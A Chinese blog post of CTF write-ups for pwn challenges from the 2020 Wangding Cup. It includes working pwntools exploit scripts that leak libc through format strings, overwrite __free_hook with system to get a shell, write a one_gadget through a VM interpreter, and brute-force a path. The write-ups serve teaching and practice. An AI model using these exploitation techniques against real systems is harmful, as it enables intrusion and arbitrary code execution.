2020网鼎杯部分Pwn题解

此处将会收录笔者力所能及的题解。
超出笔者技术水平的题目(例如kernel exploit)以及笔者因各种因素无法接触的题(例如bind pwn)将不会被收录。

1.青龙组

1. boom1

点击这里下载文件

1) 易知信息

  • 保护全开
  • ELF文件中rodata段上有大量字符串。将其中部分字符串百度一下(例如: duplicate global definition)便可得知,该程序为C语言解释器
  • 在程序main函数中,发现一串疑似可用的关键字/函数名。
    img
  • IDA反编译后,在main函数后半段中,发现所有函数只能执行一次,没办法直接ORW flag
    img

说了这么多,其实和解法一点关系也没有 T_T

2) 分析

  1. 我们需要先泄露出libc的版本来。 先在printf处下断点,然后计算__libc_start_main_ret的相对偏移量
    然后用printf格式化字符串漏洞来泄露__libc_start_main_ret的地址。之后就可以查询libc-database,得到libc的版本

    1
    2
    3
    4
    5
    6
    int main()
    {
    // 21个 "%p "
    printf("%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p");
    return 0;
    }
    • 泄露__libc_start_main_ret地址(单击图片可放大)
      img
    • 泄露远程libc版本
      img
  2. 在得到libc版本后,一定要先打patch!!!。当程序使用不同libc时,其内存布局也会不一样,会发生改变,所以一定要先打patch。

    一个可能的原因是,程序被装载时,其内存布局可能是由libc上关于ELF的代码所设置的。
    不同libc的相关代码可能不一样

  3. 因为 mmap 分配的内存与 libc 之前存在固定的偏移,因此可以推算出 libc 的基地址

    尚未查明原因。不过ASLR的实现可能也是基于mmap函数的分配机制

    先在程序退出处下断点,然后把本地变量地址输出。并在vmmap里找寻libc的基地址。两者相减便可得到相对偏移

    1
    2
    3
    4
    5
    6
    int main()
    {
    int a;
    printf("%p\n", &a);
    return 0;
    }

    img

  4. 在得到了libc版本和基地址后,只要将libc中__free_hook改为system函数的起始地址,然后再free("/bin/sh")即可get shell.

    注意!

    1. 变量a不可声明为char,原因是char类型变量只会修改一个字节,这无异于杯水车薪。
    2. 下面的C语言exp中,变量a的类型为int, 则&a是int* 的值,故&a + 1 == (int)&a + 8。
      所以变量a与__free_hook的相对偏移需要除以sizeof(int)。
      如果您仍然迷惑,请查阅C语言指针运算相关知识。
    1
    2
    3
    4
    5
    6
    7
    int main()
    {
    int a;
    *(&a + (-1459952 / sizeof(int))) = (int)&a + (-5254040);
    free("/bin/sh");
    return 0;
    }

3) 半自动EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
import sys

def connect():
if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process('./boom1')
return io

def debug(io, script=""):
if len(sys.argv) == 1:
gdb.attach(io, script)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

def leakLibcVersion():
io = connect()
debug(io, "b * $rebase(0x4CDD)\nc")
code = '''
int main()
{
printf("''' + "%p " * 21 + '''");
return 0;
}
'''
io.sendlineafter("I'm living...\n", code.replace('\n', ''))
log.info(io.recv())
# 将得到的__libc_start_main_ret地址填入,得到libc版本
obj = LibcSearcher('__libc_start_main_ret', 0x7f2e710b8b97)
obj.dump("__libc_start_main_ret")

def leakOffset():
io = process('./boom1')
code = '''
int main()
{
int a;
printf("%p\\n", &a);
return 0;
}
'''
# 下断点后vmmap查看libc基地址
debug(io, "b * $rebase(0x4e17)")
io.sendlineafter("I'm living...", code.replace('\n', ''))
io.interactive()

def getShell(libc, libc_offset):
io = connect()
free_hook_offset = libc_offset + libc.symbols['__free_hook']
system_offset = libc_offset + libc.symbols['system']

log.info("free_hook addr: " + hex(free_hook_offset ))
log.info("system addr: " + hex(system_offset))

code = '''
int main()
{
int a;
*(&a + (
''' + str(free_hook_offset) + '''
/ sizeof(int))) = (int)&a + (
''' + str(system_offset) + '''
);
free("/bin/sh");
return 0;
}
'''
debug(io, "b * $rebase(0x4e17)\nb * $rebase(0x4C04)")
io.sendlineafter("I'm living...", code.replace('\n', '').replace(" ", ""))
io.interactive()

if __name__== "__main__":
# 第一步,泄露libc版本,以及free和system函数相对libc基地址的偏移量
# leakLibcVersion()
# 泄露出libc 版本后,打上patch
libc = ELF("/mylibs/2.27-3ubuntu1_amd64/libc-2.27.so")

# 第二步,泄露VM的本地变量地址,并查找本地变量与libc基地址之间的相对偏移量
# leakOffset()
# 通过动态调试,确定与libc基地址的偏移量
# libc base addr - local vals addr
libc_offset = 0x7f8b1ae8f000 - 0x7f8b1b3e0fd8
# 第三步,修改free_hook为system的函数地址,然后free("/bin/sh")即可
getShell(libc, libc_offset)

2. boom2

点击这里下载文件

1) 易知信息

  • 保护全开
  • 和boom1类似,这题是VMpwn

2) 分析

  • VMpwn有几个共性

    1. 大量分支
      话不多说,看图
      img
    2. 3/4个寄存器
      1. IP,用于指向下条指令的指针
      2. SP,指向虚拟栈的栈顶
      3. AX,用于存放运算结果的变量
      4. BP(如果有的话),用于指向虚拟栈中某些位置,以便于运算时使用
        img
  • 该程序可执行 压栈弹栈+-*/%等运算指针解引用 等,还支持对 指令立即数 的相关操作。

  • 动态调试发现,初始时虚拟栈上存有栈上environ的地址
    img

  • 所以我们可以通过修改虚拟栈上存放的environ地址,将其减去某个偏移,得到__libc_start_main_ret所在的栈地址。进而在__libc_start_main_ret的栈地址处写入one_gadget。待main函数返回时get shell.

    one_gadget的地址可通过对__libc_start_main_ret值的运算得到

这题的libc必须沿用上一题boom1的libc。这题没有回显,无法泄露远程libc版本,但又必须使用one_gadget

  • 剩下的分析将会在EXP里以注释的形式呈现,便于理解

3) EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

ELFname = "./boom2"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

# 栈上 __libc_start_main_ret与 environ 的相对偏移
stack_offset = 0xE8
# libc中 one_gadget 与 __libc_start_main_ret 的相对偏移
libc_offset = 0x4f2c5 - 0x021b97

payload = ''
# pop一个值出来,使得$sp指针刚好指向environ地址所在的内存
payload += flat(14)
# 将栈偏移赋值到$ax
payload += flat(1, stack_offset)
# 弹出environ地址,将$ax的值与该栈地址相减,并将结果赋值到$ax上
payload += flat(26)
# 将$ax的值重新压入虚拟栈中
payload += flat(13)
# 解引用$ax,取出__libc_start_main_ret的libc地址,结果放置在$ax
payload += flat(9)
# 将$ax的值重新压入虚拟栈中
payload += flat(13)
# 将libc偏移赋值到$ax
payload += flat(1, libc_offset)
# 弹出__libc_start_main_ret的libc地址,将$ax的值与该地址相加得到one_gadget地址,并将结果赋值到$ax上
payload += flat(25)
# 弹出__libc_start_main_ret的栈地址,并向该栈地址写入$ax(&one_gadget)
payload += flat(11)
# 退出程序
payload += flat(30)

debug("b * $rebase(0xA4A)")
io.sendafter("Input your code> ", payload)

io.interactive()

3. faster0

点击这里下载文件

1) 易知信息

  • 由于赛后复盘时间较晚,无法连接远程,故初始的hash爆破的复盘只能搁置
  • 保护只开了partial RELRO和NX
  • 程序在read一串长字符串后,必须通过100个func函数,才能执行到一个最终带有栈溢出漏洞的函数func100

2) 分析

  • 这里第一时间就想到了爆破,最大爆破次数100 * 10 == 1000次。程序在本地执行的很快,不需要花太久时间
    在本地试着爆破了一下,发现速度还挺快
    img
  • 爆破出路径后,程序就可以进行栈溢出了。在程序中有read有write,无论是泄露libc版本打patch还是直接DynELF都可以,就不再赘述了

3) 爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
from pwn import *
import time

password = ''
times = 0

def round(tmpPwd):
global times, password
times += 1
result = True

io = process('faster0')
log.info("try passwd: " + str(times) + ": " + tmpPwd)
io.send(tmpPwd)
try:
io.recv(timeout=0.3)
except EOFError:
result = False
finally:
io.close()
return result
startTime = time.time()
for i in range(100):
for val in range(10):
ch = str(val)
if round(password + ch):
password += ch
break
endTime = time.time()

log.info('-'*120 + "\n"*3)

log.success('Password: ' + password)
log.success("RoundTimes: " + str(times))
log.success("Time: " + str(endTime - startTime))

2.白虎组

1. of

点击这里下载文件

  • 一道非常非常基础的gets栈溢出
  • EXP略

2. quantum_entanglement

点击这里下载文件

1) 分析

  • 程序会生成两个随机数,并将这两个数放置在栈上。同时,程序还会将某个随机数的栈地址后2字节放置在栈上
    img
    在执行log_in函数之后,判断栈上两个随机数是否相同,如果相同则get shell。

  • log_in函数存在格式化字符串漏洞
    img

    这个漏洞函数有点坑,故意设置arg2为%s。 如果审计伪代码时速度稍微快了一点,说不定就审不出来了 :-)

  • 既然我们要通过格式化字符串漏洞来pass后面的随机数比较,那么我们就先看看栈上的数据
    img
    我们希望将这半截地址写到栈上存储的某个栈地址上,从而在栈上构造随机数1的栈地址。之后便可以通过该地址来修改上面的随机数。

    一个小例子:

    • 假设rand1的栈地址为0xFFFF1111, 栈上已经存放了其半截地址 0x1111
    • 在栈上找到一个地址0xFFFF2222,该地址上存放着一个栈地址0xFFFF3333 ([0xFFFF2222] = 0xFFFF3333)。同时地址0xFFFF3333上存放着另一个栈地址0xFFFF4444([0xFFFF3333] = 0xFFFF4444)
    • 通过指针0xFFFF2222,向地址0xFFFF333写入两字节0x1111,使得[0xFFFF333] = 0xFFFF1111
    • 现在,栈上已经存放了指针0xFFFF1111。之后我们就可以通过格式化字符串漏洞修改地址0xFFFF1111上的值
  • 我们可以在栈的底部找到所需的栈1->栈2->栈3
    img

  • 关键点:利用格式化字符串 %*A$c%B$hn , 我们可以将argA上的两字节移动到argB指向的内存上

    argA、argB为printf的参数A、参数B。参数0为格式化字符串地址
    %*A$c 的效果与 %[argA]c 相同。都是输出argA个字符。
    例子:%*12$c%22$hn , 将printf参数12的两字节,写入到参数22指向的内存中

  • 在计算出相对偏移后,将随机数rand1的半截地址写入栈1->栈2->栈3指针链中的栈2,从而使栈2指向rand1

    栈1->栈2->rand1

    然后我们就可以通过栈2,修改rand1的值为rand2的值了。

  • 最后,通过rand1 != rand2的判断,get shell。

2) EXP

1
2
%*19$c%52$hn
%*18$c%116$n

3. 朱雀组

1. 魔法房间

点击这里下载文件

  • 一道基础的UAF漏洞,自带后门函数
  • 无论是利用方式还是所使用的数据结构,该程序都和pwnable.tw里的hacknote题高度相同
  • EXP略

2. 云盾

点击这里下载文件

1) 易知信息

  • 程序提供了以下几条命令
    1. ls - 输出 ‘flag pwn 1 2’
    2. vim系列
      1. vim 1 - 向一块malloc出的地址(buf1) 写入数据
      2. vim 2 - 向另一块malloc出的地址(buf2) 写入数据
    3. rm系列
      1. rm 1 - 将buf1释放,free后没有重置buf1指针
      2. rm 2 - 将buf2释放,free后没有重置buf2指针
    4. cat系列
      1. cat 1 - 调用puts函数输出
      2. cat 2 - 调用printf函数输出。注意,存在格式化字符串漏洞
    5. ls - 修改某个字符串为传入的“文件夹”名称

2) 分析

  • 尽管程序free一块内存后没有将对应指针置为NULL,但此漏洞在这里无法利用
  • 程序中较为频繁的使用strcpy危险函数,但输入长度已被限制,无法通过该函数进行溢出
  • 程序在free内存前,会进行内存检查。查看当前chunk的PREV_SIZE是否为NULL。如果不是,则程序判定为内存泄露,进行相应的修复操作
  • 程序在格式化字符串漏洞前,进行了传入字符串的相关检查。判断字符串中是否出现%n%h%x。若出现,则程序判定为攻击,不执行printf函数

    这个字符串的检查相当的鸡肋,原因是在该漏洞的利用中,百分号后面大概率紧跟着数字。例如 %16hhn`

  • 根据以上信息,我们可以尝试通过格式化字符串,将__free_hook改为system地址,并通过执行free("/bin/sh")来获取shell.
    1. 我们可以通过格式化字符串,泄露__libc_start_main_ret地址,得到libc的版本,并进一步计算system地址和__free_hook地址。为接下来的操作做准备。
    2. 由于输入的字符串在堆上,故没办法通过 输入字符串里的地址 来定向修改数据
      但通过观察栈上数据,我们可以发现,输入的命令存放在栈上
      img
      所以我们可以在该命令后面加上__free_hook的地址,来定向修改__free_hook
      img
    3. 由于该程序中指针占用八个字节,如果直接修改数据,势必会输出大量无用信息(大约几个G左右)
      所以需要分批修改。每次使用%11hhn修改一个字节,修改6次即可完成目标。
      当然,__free_hook的地址也要加上对应的偏移
      img

3) EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

io = process("./cloudProtect")

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

def fmt(payload, addr=0):
io.sendlineafter("> ", "vim 2")
io.sendlineafter("> ", payload)
io.sendlineafter("> ", "cat 2" + cyclic(3) + p64(addr))

# leak libc base
gdb.attach(io, "b* $rebase(0xFB5)")
fmt("%35$p\n")

libc_start_main_ret = int(io.recvuntil('\n')[:-1].replace("> ", ""), 16)
obj = LibcSearcher('__libc_start_main_ret', libc_start_main_ret)
libc_base = libc_start_main_ret - obj.dump('__libc_start_main_ret')
log.success("libc_base: " + hex(libc_base))

free_hook = libc_base + obj.dump('__free_hook')
system_addr = libc_base + obj.dump("system")

# modify free_hook
for i in range(6):
fmt("%{}c%11$hhn".format(u8(p64(system_addr)[i])), free_hook + i)

# getShell
fmt("/bin/sh\x00")
io.sendlineafter("> ", "rm 2")

io.interactive()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~